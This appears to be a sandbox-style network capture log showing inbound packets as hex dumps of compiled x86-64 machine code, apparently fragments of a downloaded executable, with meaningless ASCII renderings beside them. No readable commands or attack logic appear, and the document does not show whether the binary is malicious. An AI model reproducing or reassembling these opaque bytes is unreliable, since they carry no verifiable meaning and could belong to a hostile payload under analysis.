2023-01-25 20:04:34 UTC	924	IN	Data Raw: 38 48 39 c8 0f 86 52 fe ff ff e9 d6 00 00 00 4c 89 4c 24 28 48 89 5c 24 58 48 89 4c 24 60 0f b6 74 24 26 40 f6 c6 02 74 1f 83 e6 fd 40 88 74 24 26 40 88 74 24 27 48 8b 94 24 88 00 00 00 48 8b 02 ff d0 0f b6 74 24 26 40 f6 c6 01 74 15 83 e6 fe 40 88 74 24 27 48 8b 94 24 90 00 00 00 48 8b 02 ff d0 48 8b 44 24 28 48 8b 5c 24 58 48 8b 4c 24 60 48 8b ac 24 98 00 00 00 48 81 c4 a0 00 00 00 c3 48 89 74 24 28 44 0f 11 7c 24 58 a8 02 74 1d 83 e0 fd 88 44 24 26 88 44 24 27 48 8b 94 24 88 00 00 00 48 8b 0a ff d1 0f b6 44 24 26 a8 01 74 14 83 e0 fe 88 44 24 27 48 8b 94 24 90 00 00 00 48 8b 02 ff d0 48 8b 44 24 28 48 8b 5c 24 58 48 8b 4c 24 60 48 8b ac 24 98 00 00 00 48 81 c4 a0 00 00 00 c3 e8 8b 25 f8 ff 90 e8 05 36 f5 ff 48 8b 44 24 28 48 8b 5c 24 58 48 8b 4c 24 60 Data Ascii: 8H9RLL$(H\$XHL$`t$&@t@t$&@t$'H$Ht$&@t@t$'H$HHD$(H\$XHL$`H$HHt$(D\|$XtD$&D$'H$HD$&tD$'H$HHD$(H\$XHL$`H$H%6HD$(H\$XHL$`
2023-01-25 20:04:34 UTC	940	IN	Data Raw: 48 85 db 74 06 31 d2 31 ff eb 2d 48 89 44 24 58 48 8b 86 b0 00 00 00 e8 19 2d fd ff 48 8b b4 24 b0 00 00 00 48 89 c2 48 8b 44 24 58 49 89 d8 48 89 cb 48 89 f9 4c 89 c7 44 8b 86 88 00 00 00 8b b6 98 00 00 00 48 89 44 24 50 4c 89 44 24 48 48 89 74 24 40 48 89 54 24 78 48 89 bc 24 80 00 00 00 48 89 5c 24 68 48 89 4c 24 70 c6 44 24 3f 00 48 8b 94 24 98 00 00 00 48 8b 02 ff d0 48 8b 44 24 50 48 8b 5c 24 48 48 8b 4c 24 40 48 8b 7c 24 78 4c 8b 44 24 68 48 8b b4 24 80 00 00 00 4c 8b 4c 24 70 48 8b ac 24 a0 00 00 00 48 81 c4 a8 00 00 00 c3 48 c7 44 24 50 00 00 00 00 48 c7 44 24 48 00 00 00 00 48 c7 44 24 40 00 00 00 00 44 0f 11 7c 24 78 48 89 54 24 68 4c 89 54 24 70 48 8b 44 24 50 48 8b 5c 24 48 48 8b 4c 24 40 48 8b 7c 24 78 48 8b b4 24 80 00 00 00 49 89 d0 4d 89 Data Ascii: Ht11-HD$XH-H$HHD$XIHHLDHD$PLD$HHt$@HT$xH$H\$hHL$pD$?H$HHD$PH\$HHL$@H\|$xLD$hH$LL$pH$HHD$PHD$HHD$@D\|$xHT$hLT$pHD$PH\$HHL$@H\|$xH$IM
2023-01-25 20:04:34 UTC	956	IN	Data Raw: 05 70 dc 37 00 48 89 fb 48 89 f1 48 89 d7 4c 89 c6 0f 1f 40 00 e8 3b 05 f6 ff 4c 8d 43 01 48 8b 74 24 68 48 89 c7 48 89 ca 48 8b 4c 24 48 eb ac 48 89 f8 48 89 f3 48 89 d1 31 ff 31 f6 48 8b ac 24 90 00 00 00 48 81 c4 98 00 00 00 c3 c6 04 37 5c 48 ff c9 4c 89 d6 48 89 74 24 78 48 85 c9 0f 8e 09 ff ff ff 4c 8d 56 01 4c 39 d2 73 df 48 89 4c 24 50 48 8d 05 fb db 37 00 48 89 fb 48 89 f1 48 89 d7 4c 89 d6 e8 ca 04 f6 ff 4c 8d 53 01 48 8b 9c 24 80 00 00 00 48 8b 74 24 78 44 0f b6 44 24 46 44 0f b6 4c 24 47 48 89 c7 48 89 ca 48 8b 84 24 88 00 00 00 48 8b 4c 24 50 eb 90 b8 01 00 00 00 31 c9 e8 ac a5 f7 ff c6 04 37 5c 49 ff ca 4c 89 de 48 89 74 24 78 4d 85 d2 7e 57 4c 8d 5e 01 4c 39 da 73 e3 4c 89 54 24 58 48 8d 05 83 db 37 00 48 89 fb 48 89 f1 48 89 d7 4c 89 de e8 Data Ascii: p7HHHL@;LCHt$hHHHL$HHHH11H$H7\HLHt$xHLVL9sHL$PH7HHHLLSH$Ht$xDD$FDL$GHHH$HL$P17\ILHt$xM~WL^L9sLT$XH7HHHL
2023-01-25 20:04:34 UTC	972	IN	Data Raw: c5 00 00 00 00 4c 89 ac 24 18 03 00 00 48 89 8c 24 40 03 00 00 48 89 9c 24 38 03 00 00 48 89 84 24 30 03 00 00 c6 44 24 2b 00 44 0f 11 bc 24 08 03 00 00 44 0f 11 bc 24 f8 02 00 00 48 85 ff 0f 84 05 07 00 00 89 74 24 2c 90 48 83 ff 03 75 37 0f b6 11 66 90 80 fa 6e 74 05 80 fa 4e 75 28 0f b6 51 01 80 fa 75 74 05 80 fa 55 75 1a 0f b6 51 02 0f 1f 40 00 80 fa 6c 0f 84 81 06 00 00 80 fa 4c 0f 84 78 06 00 00 48 89 bc 24 48 03 00 00 48 89 c8 48 89 fb e8 5b f6 ff ff e8 76 9d fc ff 48 85 ff 74 04 31 c0 eb 0d 48 85 db 0f 86 6f 07 00 00 31 ff 31 f6 48 85 ff 0f 84 01 01 00 00 48 89 b4 24 c8 02 00 00 48 89 7c 24 30 48 8d 05 43 32 3b 00 0f 1f 00 e8 5b e2 f1 ff 48 8b 8c 24 38 03 00 00 48 89 48 08 83 3d 18 d9 6c 00 00 75 0d 48 8b 94 24 30 03 00 00 48 89 10 eb 10 48 89 c7 Data Ascii: L$H$@H$8H$0D$+D$D$Ht$,Hu7fntNu(QutUuQ@lLxH$HHH[vHt1Ho11HH$H\|$0HC2;[H$8HH=luH$0HH
2023-01-25 20:04:34 UTC	988	IN	Data Raw: 49 89 d8 bb 01 00 00 00 89 cf b9 44 00 00 00 48 89 d0 0f 1f 00 e8 bb 59 f8 ff 48 83 fb 01 0f 86 a0 07 00 00 0f b6 50 01 80 fa 2d 74 05 80 fa 2b 75 0b 48 ff c9 48 ff c0 48 ff cb eb 03 c6 00 2b 48 8b 94 24 e8 00 00 00 80 7a 0d 00 74 27 0f 1f 80 00 00 00 00 48 85 db 0f 86 5c 07 00 00 80 38 2b 75 12 80 7a 0b 00 75 0c c6 00 20 66 0f 1f 84 00 00 00 00 00 48 83 fb 01 0f 86 2e 07 00 00 44 0f b6 40 01 41 80 f8 49 0f 84 a5 00 00 00 0f 1f 80 00 00 00 00 41 80 f8 4e 0f 84 94 00 00 00 80 7a 0c 00 0f 84 e3 00 00 00 44 8b 84 24 00 01 00 00 0f 1f 40 00 41 83 f8 62 0f 84 cd 00 00 00 41 83 f8 67 7f 10 41 83 f8 47 74 16 41 83 f8 67 74 10 eb 24 66 90 41 83 f8 76 74 06 41 83 f8 78 75 16 4c 8b 4c 24 60 49 83 f9 ff 41 ba 06 00 00 00 4d 0f 44 ca 90 eb 03 45 31 c9 48 89 4c 24 70 Data Ascii: IDHYHP-t+uHHH+H$zt'H\8+uzu fH.D@AIANzD$@AbAgAGtAgt$fAvtAxuLL$`IAMDE1HL$p
2023-01-25 20:04:34 UTC	1004	IN	Data Raw: 81 fa 95 6c 82 8d 0f 85 dd 02 00 00 48 8d 15 e2 ee 36 00 66 90 48 39 d3 0f 85 cb 02 00 00 f3 0f 10 09 f3 0f 5a c1 bb 20 00 00 00 89 f9 e8 e3 de ff ff 0f 1f 00 e9 71 03 00 00 41 81 fa 48 9f 0b b0 0f 87 fa 00 00 00 41 81 fa 94 2d 59 93 77 65 0f 1f 44 00 00 41 81 fa db 2d c5 8f 75 21 48 8d 15 d0 1b 37 00 48 39 d3 0f 85 7b 02 00 00 48 8b 19 31 c9 66 90 e8 9b dc ff ff e9 2c 03 00 00 41 81 fa 94 2d 59 93 0f 85 5d 02 00 00 48 8d 15 a2 ee 36 00 66 90 48 39 d3 0f 85 4b 02 00 00 f2 0f 10 01 bb 40 00 00 00 89 f9 e8 67 de ff ff e9 f8 02 00 00 66 90 41 81 fa 79 89 73 95 75 21 48 8d 15 b0 1b 37 00 48 39 d3 0f 85 1b 02 00 00 0f b6 19 31 c9 66 90 e8 3b dc ff ff e9 cc 02 00 00 41 81 fa 43 dd d6 99 75 2d 48 8d 15 46 11 37 00 66 0f 1f 44 00 00 48 39 d3 0f 85 eb 01 00 00 48 Data Ascii: lH6fH9Z qAHA-YweDA-u!H7H9{H1f,A-Y]H6fH9K@gfAysu!H7H91f;ACu-HF7fDH9H
2023-01-25 20:04:34 UTC	1020	IN	Data Raw: 8b 15 cf a6 66 00 48 8b 35 d0 a6 66 00 eb 04 31 d2 31 f6 48 89 c8 48 89 d3 48 89 f1 48 8b 6c 24 20 48 83 c4 28 c3 48 89 c8 48 89 d1 e8 44 a6 f6 ff 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 e8 6a 7e f6 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 e9 11 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 8d 64 24 e8 4d 3b 66 10 0f 86 29 01 00 00 48 81 ec 98 00 00 00 48 89 ac 24 90 00 00 00 48 8d ac 24 90 00 00 00 48 89 84 24 a0 00 00 00 48 89 9c 24 a8 00 00 00 4c 89 8c 24 d0 00 00 00 4c 89 84 24 c8 00 00 00 48 89 b4 24 c0 00 00 00 48 89 bc 24 b8 00 00 00 48 89 8c 24 b0 00 00 00 31 c9 89 cf e8 d9 0a 00 00 48 89 44 24 78 88 5c 24 58 88 4c 24 59 40 88 7c 24 5a 48 89 74 24 60 4c 89 44 24 68 4c 89 4c 24 70 0f 10 Data Ascii: fH5f11HHHHl$ H(HHDHD$H\$HL$H\|$ j~HD$H\$HL$H\|$ Ld$M;f)HH$H$H$H$L$L$H$H$H$1HD$x\$XL$Y@\|$ZHt$`LD$hLL$p
2023-01-25 20:04:34 UTC	1036	IN	Data Raw: ff 48 8b 9c 24 00 01 00 00 48 8b 4c 24 68 89 c7 48 8b 84 24 08 01 00 00 e8 98 75 f9 ff e9 2c 03 00 00 48 83 f9 10 0f 87 1c 01 00 00 48 83 f9 0e 76 5b 0f ba e2 09 72 09 48 8d 0d f6 65 47 00 eb 0e 48 89 d1 e8 ec 90 f9 ff 48 89 c1 48 89 d8 48 8b 49 28 66 90 ff d1 8b 9c 24 58 01 00 00 48 89 c1 48 8b 84 24 50 01 00 00 e8 27 ec ff ff 48 8b 84 24 08 01 00 00 48 8b 9c 24 00 01 00 00 48 8b 4c 24 68 e8 8d 79 f9 ff e9 c1 02 00 00 48 8b 84 24 50 01 00 00 e8 1b ce ff ff 48 8b 84 24 50 01 00 00 e8 ae d2 ff ff 48 8b 84 24 50 01 00 00 e8 01 e4 ff ff 48 89 84 24 10 01 00 00 48 89 9c 24 a0 00 00 00 48 8b 4c 24 68 0f ba e1 09 72 11 48 8d 15 5f 65 47 00 48 8b b4 24 08 01 00 00 eb 20 48 8b 84 24 08 01 00 00 48 8b 9c 24 00 01 00 00 0f 1f 44 00 00 e8 3b 90 f9 ff 48 89 c2 48 89 Data Ascii: H$HL$hH$u,HHv[rHeGHHHHI(f$XHH$P'H$H$HL$hyH$PH$PH$PH$H$HL$hrH_eGH$ H$H$D;HH
2023-01-25 20:04:34 UTC	1052	IN	Data Raw: 24 b0 00 00 00 48 8b 94 24 88 00 00 00 48 89 94 24 a0 00 00 00 48 8b 94 24 c8 00 00 00 48 8b 4a 10 48 8b 5a 08 90 48 8b b4 24 98 00 00 00 48 85 f6 74 12 4c 8d 84 24 98 00 00 00 4c 39 c6 74 15 e9 09 02 00 00 4c 8d 84 24 98 00 00 00 4c 89 84 24 98 00 00 00 4c 8b 84 24 a8 00 00 00 4a 8d 34 01 48 89 74 24 60 48 8b bc 24 b0 00 00 00 4c 8b 8c 24 a0 00 00 00 48 39 f7 0f 83 cc fc ff ff 4c 89 44 24 58 48 89 5c 24 70 48 89 4c 24 30 48 8d 05 e0 5b 36 00 4c 89 cb 4c 89 c1 e8 b5 84 f4 ff 48 8b 5c 24 70 4c 8b 44 24 58 49 89 c1 48 89 cf 48 8b 4c 24 30 e9 91 fc ff ff 4d 01 cd 48 89 f9 4c 8b 84 24 80 00 00 00 4c 8b 8c 24 d8 00 00 00 0f 1f 44 00 00 4d 39 d5 0f 8d 24 fd ff ff 48 89 cf e9 d8 01 00 00 48 85 c9 0f 8c f0 01 00 00 66 0f 1f 44 00 00 4d 39 d5 0f 83 fd 01 00 00 47 Data Ascii: $H$H$H$HJHZH$HtL$L9tL$L$L$J4Ht$`H$L$H9LD$XH\$pHL$0H[6LLH\$pLD$XIHHL$0MHL$L$DM9$HHfDM9G
2023-01-25 20:04:34 UTC	1068	IN	Data Raw: 48 89 da 48 89 cb 48 89 d1 e8 07 ae ef ff 48 8b 6c 24 50 48 83 c4 58 c3 e8 d8 87 f7 ff 8b 4c 24 1c 8b 54 24 18 39 c8 74 a5 39 d0 7c eb eb 9f 31 c0 48 8b 6c 24 50 48 83 c4 58 c3 48 89 d8 e8 32 e6 f5 ff 48 89 d8 e8 2a e6 f5 ff 90 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 e8 50 be f5 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 e9 b7 fd ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 8f 06 00 00 48 83 c4 80 48 89 6c 24 78 48 8d 6c 24 78 48 89 84 24 88 00 00 00 48 89 8c 24 98 00 00 00 48 85 ff 0f 84 62 01 00 00 48 83 ff 01 0f 84 20 01 00 00 0f 1f 44 00 00 48 39 fb 0f 84 e3 00 00 00 0f 8c cc 00 00 00 48 89 bc 24 a0 00 00 00 48 89 8c 24 98 00 00 00 48 89 84 24 88 00 00 00 48 89 9c Data Ascii: HHHHl$PHXL$T$9t9\|1Hl$PHXH2H*HD$H\$HL$H\|$ PHD$H\$HL$H\|$ I;fHHl$xHl$xH$H$HbH DH9H$H$H$H
2023-01-25 20:04:34 UTC	1084	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 61 48 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 48 83 78 18 00 7f 32 48 8d 05 fe 2d 38 00 e8 f9 22 f0 ff 48 c7 40 08 2e 00 00 00 48 8d 0d c6 9f 3d 00 48 89 08 48 89 c3 48 8d 05 fd 41 46 00 48 8b 6c 24 10 48 83 c4 18 c3 48 c7 40 20 ff ff ff ff 48 ff 48 18 31 c0 31 db 48 8b 6c 24 10 48 83 c4 18 c3 48 89 44 24 08 e8 2f 7e f5 ff 48 8b 44 24 08 eb 88 cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 d3 00 00 00 48 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 48 8b 50 18 0f 1f 40 00 48 39 50 08 0f 8e 86 00 00 00 48 89 50 20 48 8b 48 08 48 8b 10 48 8b 70 10 4c 8b 40 18 0f 1f 00 49 39 c8 0f 83 8b 00 00 00 46 0f b6 0c 02 41 80 f9 80 73 1e 49 8d 50 01 48 89 50 18 44 89 c8 bb 01 00 00 00 31 c9 31 ff 48 8b Data Ascii: I;fvaHHl$Hl$Hx2H-8"H@.H=HHHAFHl$HH@ HH11Hl$HHD$/~HD$I;fH Hl$Hl$HP@H9PHP HHHHpL@I9FAsIPHPD11H
2023-01-25 20:04:34 UTC	1100	IN	Data Raw: 18 48 8b 7c 24 20 e9 4a ff ff ff cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 fc 00 00 00 48 83 ec 28 48 89 6c 24 20 48 8d 6c 24 20 48 89 44 24 30 48 8b 48 10 48 c1 e1 03 48 89 4c 24 18 48 89 cb 48 8d 05 2c 9c 35 00 e8 a7 c3 f3 ff 48 8b 54 24 30 48 8b 72 08 48 8b 52 10 48 8b 7c 24 18 48 89 f9 31 db eb 03 48 ff c3 48 39 d3 7d 09 4c 8b 04 de 45 31 c9 eb 5d 48 85 ff 7d 07 31 ff eb 03 48 ff c7 48 39 cf 7d 0f 73 37 0f b6 14 38 84 d2 74 ee 66 90 48 39 cf 77 20 48 29 f9 48 89 cb 48 f7 d9 48 c1 f9 3f 48 21 cf 48 01 f8 48 89 d9 48 8b 6c 24 20 48 83 c4 28 c3 48 89 f8 e8 b3 65 f5 ff 48 89 f8 e8 eb 64 f5 ff 49 ff c1 49 c1 e8 08 4c 89 d7 90 49 83 f9 08 7d 8c 4c 8d 57 ff 4d 85 d2 7c 11 4c 39 d1 76 24 44 88 44 07 ff eb da 0f 1f 44 00 00 45 84 c0 74 d0 48 8d 05 b4 99 Data Ascii: H\|$ JI;fH(Hl$ Hl$ HD$0HHHHL$HH,5HT$0HrHRH\|$H1HH9}LE1]H}1HH9}s78tfH9w H)HHH?H!HHHl$ H(HeHdIILI}LWM\|L9v$DDDEtH
2023-01-25 20:04:34 UTC	1116	IN	Data Raw: 89 5f 10 48 89 4f 18 83 3d f7 99 6a 00 00 75 07 48 89 47 08 90 eb 12 48 8d 4f 08 48 89 fa 48 89 cf e8 ef 20 f5 ff 48 89 d7 c6 07 00 48 89 f8 48 8b 6c 24 50 48 83 c4 58 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 68 fe f4 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 94 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 f1 00 00 00 48 83 ec 50 48 89 6c 24 48 48 8d 6c 24 48 48 85 db 75 27 48 8b 48 08 48 83 78 10 00 74 10 48 8b 01 83 e0 01 48 8b 6c 24 48 48 83 c4 50 c3 31 c0 48 8b 6c 24 48 48 83 c4 50 c3 0f 8c 9d 00 00 00 80 38 00 75 32 48 8b 50 08 48 89 d9 48 c1 eb 06 66 0f 1f 44 00 00 48 39 58 10 77 04 31 d2 eb 0a 48 8b 14 da 48 d3 ea 83 e2 01 48 89 d0 48 8b 6c 24 48 48 83 c4 50 c3 48 89 5c 24 60 4c 8b 0d c3 Data Ascii: _HO=juHGHOHH HHHl$PHXHD$H\$HL$hHD$H\$HL$I;fHPHl$HHl$HHu'HHHxtHHl$HHP1Hl$HHP8u2HPHHfDH9Xw1HHHHl$HHPH\$`L
2023-01-25 20:04:34 UTC	1132	IN	Data Raw: e8 30 fe ff ff 48 8b 84 24 d0 00 00 00 48 8b 94 24 e0 00 00 00 48 8d 0c 42 4c 8b a4 24 58 01 00 00 49 39 cc 0f 82 ca 05 00 00 48 89 c3 48 d1 e0 0f 1f 44 00 00 48 39 c1 0f 82 b1 05 00 00 48 89 8c 24 b0 00 00 00 48 89 84 24 a8 00 00 00 49 29 c4 4c 89 64 24 68 4c 89 e6 49 f7 dc 48 c1 e3 04 49 c1 fc 3f 4c 21 e3 4c 8b 84 24 30 01 00 00 4c 01 c3 48 89 9c 24 f8 00 00 00 48 89 1c 24 48 89 54 24 08 48 89 74 24 10 4c 8b 8c 24 00 01 00 00 4c 89 4c 24 18 4c 8b 54 24 70 4c 89 54 24 20 4c 8b 5c 24 78 4c 89 5c 24 28 4c 8b a4 24 20 01 00 00 4c 89 64 24 30 48 89 54 24 38 4c 8b ac 24 c8 00 00 00 4c 89 6c 24 40 e8 08 d0 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 83 7c 24 48 00 75 0a b8 01 00 00 00 e9 83 00 00 00 48 8b 84 24 f8 00 00 00 48 89 04 24 Data Ascii: 0H$H$HBL$XI9HHDH9H$H$I)Ld$hLIHI?L!L$0LH$H$HT$Ht$L$LL$LT$pLT$ L\$xL\$(L$ Ld$0HT$8L$Ll$@EWeL4%(MH\|$HuH$H$
2023-01-25 20:04:34 UTC	1148	IN	Data Raw: 4c 89 c1 48 8b ac 24 a0 01 00 00 48 81 c4 a8 01 00 00 c3 4c 89 8c 24 98 01 00 00 4c 89 94 24 00 02 00 00 4c 89 9c 24 08 02 00 00 48 89 bc 24 90 01 00 00 48 89 b4 24 e8 01 00 00 4c 89 84 24 f0 01 00 00 48 85 d2 0f 84 d3 00 00 00 66 0f 1f 84 00 00 00 00 00 48 39 ca 0f 8e c1 00 00 00 48 83 fa 01 75 5d 48 8d 05 4a d3 34 00 bb 01 00 00 00 48 89 d9 66 90 e8 7b 03 f3 ff 48 8b 94 24 b8 01 00 00 48 8b b4 24 e8 01 00 00 48 8b bc 24 90 01 00 00 4c 8b 84 24 f0 01 00 00 4c 8b 8c 24 98 01 00 00 4c 8b 94 24 00 02 00 00 4c 8b 9c 24 08 02 00 00 4c 8b a4 24 b0 01 00 00 b9 01 00 00 00 eb 5e 48 8d 4a 04 48 89 4c 24 68 48 8d 05 e4 d2 34 00 48 89 d3 90 e8 1b 03 f3 ff 48 8b 94 24 b8 01 00 00 48 8b b4 24 e8 01 00 00 48 8b bc 24 90 01 00 00 4c 8b 84 24 f0 01 00 00 4c 8b 8c 24 98 Data Ascii: LH$HL$L$L$H$H$L$HfH9Hu]HJ4Hf{H$H$H$L$L$L$L$L$^HJHL$hH4HH$H$H$L$L$
2023-01-25 20:04:34 UTC	1164	IN	Data Raw: 8d 05 f7 94 64 00 be 40 00 00 00 eb 35 48 8d 05 c1 33 38 00 48 89 d3 48 89 d9 e8 d6 c3 f2 ff 48 8b 8c 24 f0 00 00 00 48 8b 94 24 80 00 00 00 48 8b 9c 24 e8 00 00 00 48 8b bc 24 a0 00 00 00 48 89 d6 4c 8d 4a ff 4c 39 ca 0f 86 f3 04 00 00 48 89 74 24 68 48 89 84 24 b8 00 00 00 4c 8d 0c 92 4e 8b 4c c8 f8 4d 85 c9 75 0b 45 31 c0 eb 66 66 0f 1f 44 00 00 48 83 fb 0a 75 38 90 bb ff ff ff ff 48 8d 3d 6d 94 64 00 f0 0f c1 1f ff cb 85 db 74 21 48 8d 05 5c 94 64 00 e8 37 0c f5 ff 48 8b 84 24 b8 00 00 00 48 8b 94 24 80 00 00 00 48 8b 74 24 68 48 89 d3 48 89 f1 48 8b ac 24 d0 00 00 00 48 81 c4 d8 00 00 00 c3 49 ff c0 66 0f 1f 84 00 00 00 00 00 49 39 d0 0f 8d ab 02 00 00 4f 8d 0c 80 4e 8b 54 c8 20 4d 85 d2 75 dd 4c 89 84 24 88 00 00 00 4c 89 8c 24 98 00 00 00 4d 85 c0 Data Ascii: d@5H38HHH$H$H$H$HLJL9Ht$hH$LNLMuE1ffDHu8H=mdt!H\d7H$H$Ht$hHHH$HIfI9ONT MuL$L$M
2023-01-25 20:04:34 UTC	1180	IN	Data Raw: ff 48 85 c0 0f 84 29 01 00 00 48 8b 84 24 90 01 00 00 48 8b 10 0f ba e2 00 0f 83 d4 00 00 00 48 c7 84 24 00 01 00 00 00 00 00 00 48 c7 84 24 00 01 00 00 01 00 00 00 c6 84 24 b8 01 00 00 00 48 c7 84 24 c0 01 00 00 00 00 00 00 44 0f 11 bc 24 c8 01 00 00 c6 84 24 b8 01 00 00 00 44 0f 11 bc 24 c8 01 00 00 48 8d 94 24 00 01 00 00 48 89 94 24 c0 01 00 00 48 c7 84 24 c8 01 00 00 01 00 00 00 48 c7 84 24 d0 01 00 00 01 00 00 00 c6 84 24 98 01 00 00 00 48 c7 84 24 a0 01 00 00 00 00 00 00 44 0f 11 bc 24 a8 01 00 00 c6 84 24 98 01 00 00 00 44 0f 11 bc 24 a8 01 00 00 48 89 84 24 a0 01 00 00 48 8b 94 24 f0 01 00 00 48 89 94 24 a8 01 00 00 4c 8b 84 24 f8 01 00 00 4c 89 84 24 b0 01 00 00 b9 03 00 00 00 31 db 31 f6 31 ff e9 82 00 00 00 48 8b 3d eb 1c 31 00 48 8b 35 ec 1c Data Ascii: H)H$HH$H$$H$D$$D$H$H$H$H$$H$D$$D$H$H$H$L$L$111H=1H5
2023-01-25 20:04:34 UTC	1196	IN	Data Raw: 00 00 48 89 b4 24 d0 03 00 00 48 8d 05 c4 e0 37 00 48 8d 9c 24 b8 03 00 00 e8 d7 37 ee ff 4c 8b 94 24 40 01 00 00 4c 8b 84 24 f8 00 00 00 48 89 c1 4c 8b 8c 24 a8 01 00 00 48 8d 05 95 e0 37 00 e9 f5 20 00 00 4c 89 84 24 38 01 00 00 4c 89 8c 24 e0 01 00 00 48 89 cb 4c 89 d9 e8 b5 3a ee ff 4c 8b 94 24 40 01 00 00 4c 8b 84 24 38 01 00 00 48 89 c1 4c 8b 8c 24 e0 01 00 00 48 8d 05 33 d8 33 00 e9 b3 20 00 00 48 89 cb 4c 89 d9 e8 c3 e6 ff ff 48 89 bc 24 38 01 00 00 48 89 b4 24 e0 01 00 00 e8 6e 3a ee ff 4c 8b 94 24 40 01 00 00 4c 8b 84 24 38 01 00 00 48 89 c1 4c 8b 8c 24 e0 01 00 00 48 8d 05 4c 0b 36 00 e9 6c 20 00 00 48 89 84 24 80 01 00 00 48 89 8c 24 b0 00 00 00 48 89 cb 4c 89 d9 e8 ec d6 f4 ff 84 c0 74 1d 31 c0 48 8b 9c 24 80 01 00 00 48 8b 8c 24 b0 00 00 00 Data Ascii: H$H7H$7L$@L$HL$H7 L$8L$HL:L$@L$8HL$H33 HLH$8H$n:L$@L$8HL$HL6l H$H$HLt1H$H$
2023-01-25 20:04:34 UTC	1212	IN	Data Raw: c0 00 00 00 c3 0f b6 34 10 f7 d6 40 88 34 10 48 ff c2 0f 1f 00 48 39 d3 7f eb 48 89 4c 24 48 48 89 5c 24 38 48 89 44 24 70 48 85 db 74 10 0f b6 10 0f 1f 40 00 f6 c2 80 0f 85 af 00 00 00 48 8d 05 70 fe 33 00 e8 eb 22 ee ff 48 89 44 24 78 48 8b 0d b7 91 30 00 48 8b 15 a8 91 30 00 48 89 10 83 3d 9e 19 69 00 00 75 06 48 89 48 08 eb 0b 48 8d 78 08 66 90 e8 9b a1 f3 ff 48 8b 44 24 70 48 8b 5c 24 38 48 8b 4c 24 48 e8 87 fa ed ff 48 8d 15 38 62 44 00 48 8b 7c 24 78 48 89 57 10 83 3d 60 19 69 00 00 75 06 48 89 47 18 eb 12 48 8d 57 18 48 89 f9 48 89 d7 e8 59 a0 f3 ff 48 89 cf 48 89 f8 bb 02 00 00 00 48 89 d9 e8 46 fa ed ff 48 89 c3 31 c9 31 ff 48 8d 05 40 62 44 00 48 8b ac 24 b8 00 00 00 48 81 c4 c0 00 00 00 c3 e8 23 fa ed ff 48 89 c3 31 c9 31 ff 48 8d 05 cd 61 44 Data Ascii: 4@4HH9HL$HH\$8HD$pHt@Hp3"HD$xH0H0H=iuHHHxfHD$pH\$8HL$HH8bDH\|$xHW=`iuHGHWHHYHHHFH11H@bDH$H#H11HaD
2023-01-25 20:04:34 UTC	1228	IN	Data Raw: 89 6c 24 08 48 8d 6c 24 08 4d 8b 66 20 4d 85 e4 75 31 0f 1f 00 48 85 c0 74 12 0f b6 00 e8 93 b1 ff ff 48 8b 6c 24 08 48 83 c4 10 c3 e8 44 a4 ed ff 90 48 89 44 24 08 e8 79 3e f3 ff 48 8b 44 24 08 eb b2 4c 8d 6c 24 18 4d 39 2c 24 75 c4 49 89 24 24 eb be cc 49 3b 66 10 76 49 48 83 ec 30 48 89 6c 24 28 48 8d 6c 24 28 4d 8b 66 20 4d 85 e4 75 45 0f 1f 00 48 85 c0 74 24 48 8b 38 48 8b 70 08 31 c0 48 8d 1d d7 91 3a 00 b9 14 00 00 00 e8 a1 00 f2 ff 48 8b 6c 24 28 48 83 c4 30 c3 e8 d2 a3 ed ff 90 48 89 44 24 08 e8 07 3e f3 ff 48 8b 44 24 08 66 90 eb 9e 4c 8d 6c 24 38 4d 39 2c 24 75 b0 49 89 24 24 eb aa cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 49 48 83 ec 30 48 89 6c 24 28 48 8d 6c 24 28 4d 8b 66 20 4d 85 e4 75 45 0f 1f 00 48 85 c0 74 24 48 8b 38 48 8b Data Ascii: l$Hl$Mf Mu1HtHl$HDHD$y>HD$Ll$M9,$uI$$I;fvIH0Hl$(Hl$(Mf MuEHt$H8Hp1H:Hl$(H0HD$>HD$fLl$8M9,$uI$$I;fvIH0Hl$(Hl$(Mf MuEHt$H8H
2023-01-25 20:04:34 UTC	1244	IN	Data Raw: 8b 50 28 48 8b 0a 42 0f b6 1c 07 48 89 f0 ff d1 48 8b 4c 24 10 48 ff c1 48 8b 74 24 20 48 8b 7c 24 48 48 39 77 40 7d b3 48 89 4f 18 48 89 47 20 48 8b 6c 24 38 48 83 c4 40 c3 4c 89 c0 e8 73 25 f3 ff 90 48 89 44 24 08 e8 68 fe f2 ff 48 8b 44 24 08 0f 1f 00 e9 3b ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 7c 00 00 00 48 83 ec 18 48 89 6c 24 10 48 8d 6c 24 10 48 89 44 24 20 48 8b 70 18 48 8b 48 08 48 8b 38 48 39 f1 7e 25 76 4d 48 8b 50 28 48 8b 0a 4c 8d 40 28 0f b6 1c 37 4c 89 c0 ff d1 48 8b 4c 24 20 48 89 41 20 48 ff 41 18 eb 20 48 8d 48 28 48 89 c8 e8 e2 ef 00 00 48 8b 4c 24 20 48 89 41 20 48 8b 51 08 48 ff c2 48 89 51 18 48 8b 6c 24 10 48 83 c4 18 c3 48 89 f0 90 e8 bb 24 f3 ff 90 48 89 44 24 Data Ascii: P(HBHHL$HHt$ H\|$HH9w@}HOHG 